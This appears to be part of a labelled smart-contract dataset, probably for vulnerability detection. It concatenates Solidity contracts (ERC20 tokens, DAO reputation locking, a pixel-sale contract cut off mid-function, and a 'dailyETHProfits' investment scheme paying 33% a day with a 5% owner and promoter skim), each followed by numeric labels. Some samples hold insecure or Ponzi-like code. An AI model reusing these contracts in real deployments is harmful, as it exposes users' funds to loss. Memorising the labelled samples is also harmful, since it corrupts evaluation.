balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Sethereum is MintableToken, DetailedERC20 {
constructor(string _name, string _symbol, uint8 _decimals)
DetailedERC20(_name, _symbol, _decimals)
public {}
} | 1 | 4,014 |
pragma solidity ^0.4.24;
contract dailyETHProfits{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 33;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x472616eB939a091a98E3956249451CbBA4037Dbc;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 775 |
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract Locking4Reputation {
using SafeMath for uint256;
event Redeem(address indexed _beneficiary, uint256 _amount);
event Release(bytes32 indexed _lockingId, address indexed _beneficiary, uint256 _amount);
event Lock(address indexed _locker, bytes32 indexed _lockingId, uint256 _amount, uint256 _period);
struct Locker {
uint256 amount;
uint256 releaseTime;
}
Avatar public avatar;
mapping(address => mapping(bytes32=>Locker)) public lockers;
mapping(address => uint) public scores;
uint256 public totalLocked;
uint256 public totalLockedLeft;
uint256 public totalScore;
uint256 public lockingsCounter;
uint256 public reputationReward;
uint256 public reputationRewardLeft;
uint256 public lockingEndTime;
uint256 public maxLockingPeriod;
uint256 public lockingStartTime;
uint256 public redeemEnableTime;
function redeem(address _beneficiary) public returns(uint256 reputation) {
require(block.timestamp > redeemEnableTime, "now > redeemEnableTime");
require(scores[_beneficiary] > 0, "score should be > 0");
uint256 score = scores[_beneficiary];
scores[_beneficiary] = 0;
uint256 repRelation = score.mul(reputationReward);
reputation = repRelation.div(totalScore);
reputationRewardLeft = reputationRewardLeft.sub(reputation);
require(
ControllerInterface(
avatar.owner())
.mintReputation(reputation, _beneficiary, address(avatar)), "mint reputation should succeed");
emit Redeem(_beneficiary, reputation);
}
function _release(address _beneficiary, bytes32 _lockingId) internal returns(uint256 amount) {
Locker storage locker = lockers[_beneficiary][_lockingId];
require(locker.amount > 0, "amount should be > 0");
amount = locker.amount;
locker.amount = 0;
require(block.timestamp > locker.releaseTime, "check the lock period pass");
totalLockedLeft = totalLockedLeft.sub(amount);
emit Release(_lockingId, _beneficiary, amount);
}
function _lock(
uint256 _amount,
uint256 _period,
address _locker,
uint256 _numerator,
uint256 _denominator)
internal
returns(bytes32 lockingId)
{
require(_amount > 0, "locking amount should be > 0");
require(_period <= maxLockingPeriod, "locking period should be <= maxLockingPeriod");
require(_period > 0, "locking period should be > 0");
require(now <= lockingEndTime, "lock should be within the allowed locking period");
require(now >= lockingStartTime, "lock should start after lockingStartTime");
lockingId = keccak256(abi.encodePacked(address(this), lockingsCounter));
lockingsCounter = lockingsCounter.add(1);
Locker storage locker = lockers[_locker][lockingId];
locker.amount = _amount;
locker.releaseTime = now + _period;
totalLocked = totalLocked.add(_amount);
totalLockedLeft = totalLockedLeft.add(_amount);
uint256 score = _period.mul(_amount).mul(_numerator).div(_denominator);
require(score > 0, "score must me > 0");
scores[_locker] = scores[_locker].add(score);
require((scores[_locker] * reputationReward)/scores[_locker] == reputationReward,
"score is too high");
totalScore = totalScore.add(score);
emit Lock(_locker, lockingId, _amount, _period);
}
function _initialize(
Avatar _avatar,
uint256 _reputationReward,
uint256 _lockingStartTime,
uint256 _lockingEndTime,
uint256 _redeemEnableTime,
uint256 _maxLockingPeriod)
internal
{
require(avatar == Avatar(0), "can be called only one time");
require(_avatar != Avatar(0), "avatar cannot be zero");
require(_lockingEndTime > _lockingStartTime, "locking end time should be greater than locking start time");
require(_redeemEnableTime >= _lockingEndTime, "redeemEnableTime >= lockingEndTime");
reputationReward = _reputationReward;
reputationRewardLeft = _reputationReward;
lockingEndTime = _lockingEndTime;
maxLockingPeriod = _maxLockingPeriod;
avatar = _avatar;
lockingStartTime = _lockingStartTime;
redeemEnableTime = _redeemEnableTime;
}
}
pragma solidity ^0.5.4;
contract ExternalLocking4Reputation is Locking4Reputation, Ownable {
event Register(address indexed _beneficiary);
address public externalLockingContract;
string public getBalanceFuncSignature;
mapping(address => bool) public externalLockers;
mapping(address => bool) public registrar;
function initialize(
Avatar _avatar,
uint256 _reputationReward,
uint256 _claimingStartTime,
uint256 _claimingEndTime,
uint256 _redeemEnableTime,
address _externalLockingContract,
string calldata _getBalanceFuncSignature)
external
{
require(_claimingEndTime > _claimingStartTime, "_claimingEndTime should be greater than _claimingStartTime");
externalLockingContract = _externalLockingContract;
getBalanceFuncSignature = _getBalanceFuncSignature;
super._initialize(
_avatar,
_reputationReward,
_claimingStartTime,
_claimingEndTime,
_redeemEnableTime,
1);
}
function claim(address _beneficiary) public returns(bytes32) {
require(avatar != Avatar(0), "should initialize first");
address beneficiary;
if (_beneficiary == address(0)) {
beneficiary = msg.sender;
} else {
require(registrar[_beneficiary], "beneficiary should be register");
beneficiary = _beneficiary;
}
require(externalLockers[beneficiary] == false, "claiming twice for the same beneficiary is not allowed");
externalLockers[beneficiary] = true;
(bool result, bytes memory returnValue) =
externalLockingContract.call(abi.encodeWithSignature(getBalanceFuncSignature, beneficiary));
require(result, "call to external contract should succeed");
uint256 lockedAmount;
assembly {
lockedAmount := mload(add(returnValue, 0x20))
}
return super._lock(lockedAmount, 1, beneficiary, 1, 1);
}
function register() public {
registrar[msg.sender] = true;
emit Register(msg.sender);
}
}
pragma solidity ^0.5.4;
contract DxLockMgnForRep is ExternalLocking4Reputation {
constructor() public {}
} | 1 | 2,556 |
pragma solidity ^0.4.11;
contract Pixel {
struct Section {
address owner;
uint256 price;
bool for_sale;
bool initial_purchase_done;
uint image_id;
string md5;
uint last_update;
address sell_only_to;
uint16 index;
}
string public standard = "IPO 0.9";
string public constant name = "Initial Pixel Offering";
string public constant symbol = "IPO";
uint8 public constant decimals = 0;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public ethBalance;
address owner;
uint256 public ipo_price;
Section[10000] public sections;
uint256 public pool;
uint public mapWidth;
uint public mapHeight;
uint256 tokenTotalSupply = 10000;
event Buy(uint section_id);
event NewListing(uint section_id, uint price);
event Delisted(uint section_id);
event NewImage(uint section_id);
event AreaPrice(uint start_section_index, uint end_section_index, uint area_price);
event SentValue(uint value);
event PriceUpdate(uint256 price);
event WithdrawEvent(string msg);
function Pixel() {
pool = tokenTotalSupply;
ipo_price = 100000000000000000;
mapWidth = 1000;
mapHeight = 1000;
owner = msg.sender;
}
function totalSupply() constant returns (uint totalSupply)
{
totalSupply = tokenTotalSupply;
}
function updatePixelIndex(
uint16 _start,
uint16 _end
) {
if(msg.sender != owner) throw;
if(_end < _start) throw;
while(_start < _end)
{
sections[_start].index = _start;
_start++;
}
}
function updateIPOPrice(
uint256 _new_price
) {
if(msg.sender != owner) throw;
ipo_price = _new_price;
PriceUpdate(ipo_price);
}
function getSectionIndexFromRaw(
uint _x,
uint _y
) returns (uint) {
if (_x >= mapWidth) throw;
if (_y >= mapHeight) throw;
_x = _x / 10;
_y = _y / 10;
return _x + (_y * 100);
}
function getSectionIndexFromIdentifier (
uint _x_section_identifier,
uint _y_section_identifier
) returns (uint) {
if (_x_section_identifier >= (mapWidth / 10)) throw;
if (_y_section_identifier >= (mapHeight / 10)) throw;
uint index = _x_section_identifier + (_y_section_identifier * 100);
return index;
}
function getIdentifierFromSectionIndex(
uint _index
) returns (uint x, uint y) {
if (_index > (mapWidth * mapHeight)) throw;
x = _index % 100;
y = (_index - (_index % 100)) / 100;
}
function sectionAvailable(
uint _section_index
) returns (bool) {
if (_section_index >= sections.length) throw;
Section s = sections[_section_index];
return !s.initial_purchase_done;
}
function sectionForSale(
uint _section_index
) returns (bool) {
if (_section_index >= sections.length) throw;
Section s = sections[_section_index];
if(s.for_sale)
{
if(s.sell_only_to == 0x0) return true;
if(s.sell_only_to == msg.sender) return true;
return false;
}
else
{
return false;
}
}
function sectionPrice(
uint _section_index
) returns (uint) {
if (_section_index >= sections.length) throw;
Section s = sections[_section_index];
return s.price;
}
function regionAvailable(
uint _start_section_index,
uint _end_section_index
) returns (bool available, uint extended_price, uint ipo_count) {
if (_end_section_index < _start_section_index) throw;
var (start_x, start_y) = getIdentifierFromSectionIndex(_start_section_index);
var (end_x, end_y) = getIdentifierFromSectionIndex(_end_section_index);
if (start_x >= mapWidth) throw;
if (start_y >= mapHeight) throw;
if (end_x >= mapWidth) throw;
if (end_y >= mapHeight) throw;
uint y_pos = start_y;
available = false;
extended_price = 0;
ipo_count = 0;
while (y_pos <= end_y)
{
uint x_pos = start_x;
while (x_pos <= end_x)
{
uint identifier = (x_pos + (y_pos * 100));
if(sectionAvailable(identifier))
{
ipo_count = ipo_count + 1;
} else
{
if(sectionForSale(identifier))
{
extended_price = extended_price + sectionPrice(identifier);
} else
{
available = false;
extended_price = 0;
ipo_count = 0;
return;
}
}
x_pos = x_pos + 1;
}
y_pos = y_pos + 1;
}
available = true;
return;
}
function buySection (
uint _section_index,
uint _image_id,
string _md5
) payable {
if (_section_index >= sections.length) throw;
Section section = sections[_section_index];
if(!section.for_sale && section.initial_purchase_done)
{
throw;
}
if(section.initial_purchase_done)
{
if(msg.value < section.price)
{
throw;
} else
{
if (section.price != 0)
{
uint fee = section.price / 100;
ethBalance[owner] += fee;
ethBalance[section.owner] += (msg.value - fee);
}
ethBalance[msg.sender] += (msg.value - section.price);
balanceOf[section.owner]--;
balanceOf[msg.sender]++;
}
} else
{
if(msg.value < ipo_price)
{
throw;
} else
{
ethBalance[owner] += msg.value;
ethBalance[msg.sender] += (msg.value - ipo_price);
pool--;
balanceOf[msg.sender]++;
}
}
section.owner = msg.sender;
section.md5 = _md5;
section.image_id = _image_id;
section.last_update = block.timestamp;
section.for_sale = false;
section.initial_purchase_done = true;
}
function buyRegion(
uint _start_section_index,
uint _end_section_index,
uint _image_id,
string _md5
) payable returns (uint start_section_y, uint start_section_x,
uint end_section_y, uint end_section_x){
if (_end_section_index < _start_section_index) throw;
if (_start_section_index >= sections.length) throw;
if (_end_section_index >= sections.length) throw;
var (available, ext_price, ico_amount) = regionAvailable(_start_section_index, _end_section_index);
if (!available) throw;
uint area_price = ico_amount * ipo_price;
area_price = area_price + ext_price;
AreaPrice(_start_section_index, _end_section_index, area_price);
SentValue(msg.value);
if (area_price > msg.value) throw;
ico_amount = 0;
ext_price = 0;
start_section_x = _start_section_index % 100;
end_section_x = _end_section_index % 100;
start_section_y = _start_section_index - (_start_section_index % 100);
start_section_y = start_section_y / 100;
end_section_y = _end_section_index - (_end_section_index % 100);
end_section_y = end_section_y / 100;
uint x_pos = start_section_x;
while (x_pos <= end_section_x)
{
uint y_pos = start_section_y;
while (y_pos <= end_section_y)
{
Section s = sections[x_pos + (y_pos * 100)];
if (s.initial_purchase_done)
{
if(s.price != 0)
{
ethBalance[owner] += (s.price / 100);
ethBalance[s.owner] += (s.price - (s.price / 100));
}
ext_price += s.price;
balanceOf[s.owner]--;
balanceOf[msg.sender]++;
} else
{
ethBalance[owner] += ipo_price;
ico_amount += ipo_price;
pool--;
balanceOf[msg.sender]++;
}
s.owner = msg.sender;
s.md5 = _md5;
s.image_id = _image_id;
s.for_sale = false;
s.initial_purchase_done = true;
Buy(x_pos + (y_pos * 100));
y_pos = y_pos + 1;
}
x_pos = x_pos + 1;
}
ethBalance[msg.sender] += msg.value - (ext_price + ico_amount);
return;
}
function setSectionForSale(
uint _section_index,
uint256 _price
) {
if (_section_index >= sections.length) throw;
Section section = sections[_section_index];
if(section.owner != msg.sender) throw;
section.price = _price;
section.for_sale = true;
section.sell_only_to = 0x0;
NewListing(_section_index, _price);
}
function setRegionForSale(
uint _start_section_index,
uint _end_section_index,
uint _price
) {
if(_start_section_index > _end_section_index) throw;
if(_end_section_index > 9999) throw;
uint x_pos = _start_section_index % 100;
uint base_y_pos = (_start_section_index - (_start_section_index % 100)) / 100;
uint x_max = _end_section_index % 100;
uint y_max = (_end_section_index - (_end_section_index % 100)) / 100;
while(x_pos <= x_max)
{
uint y_pos = base_y_pos;
while(y_pos <= y_max)
{
Section section = sections[x_pos + (y_pos * 100)];
if(section.owner == msg.sender)
{
section.price = _price;
section.for_sale = true;
section.sell_only_to = 0x0;
NewListing(x_pos + (y_pos * 100), _price);
}
y_pos++;
}
x_pos++;
}
}
function setRegionForSaleToAddress(
uint _start_section_index,
uint _end_section_index,
uint _price,
address _only_sell_to
) {
if(_start_section_index > _end_section_index) throw;
if(_end_section_index > 9999) throw;
uint x_pos = _start_section_index % 100;
uint base_y_pos = (_start_section_index - (_start_section_index % 100)) / 100;
uint x_max = _end_section_index % 100;
uint y_max = (_end_section_index - (_end_section_index % 100)) / 100;
while(x_pos <= x_max)
{
uint y_pos = base_y_pos;
while(y_pos <= y_max)
{
Section section = sections[x_pos + (y_pos * 100)];
if(section.owner == msg.sender)
{
section.price = _price;
section.for_sale = true;
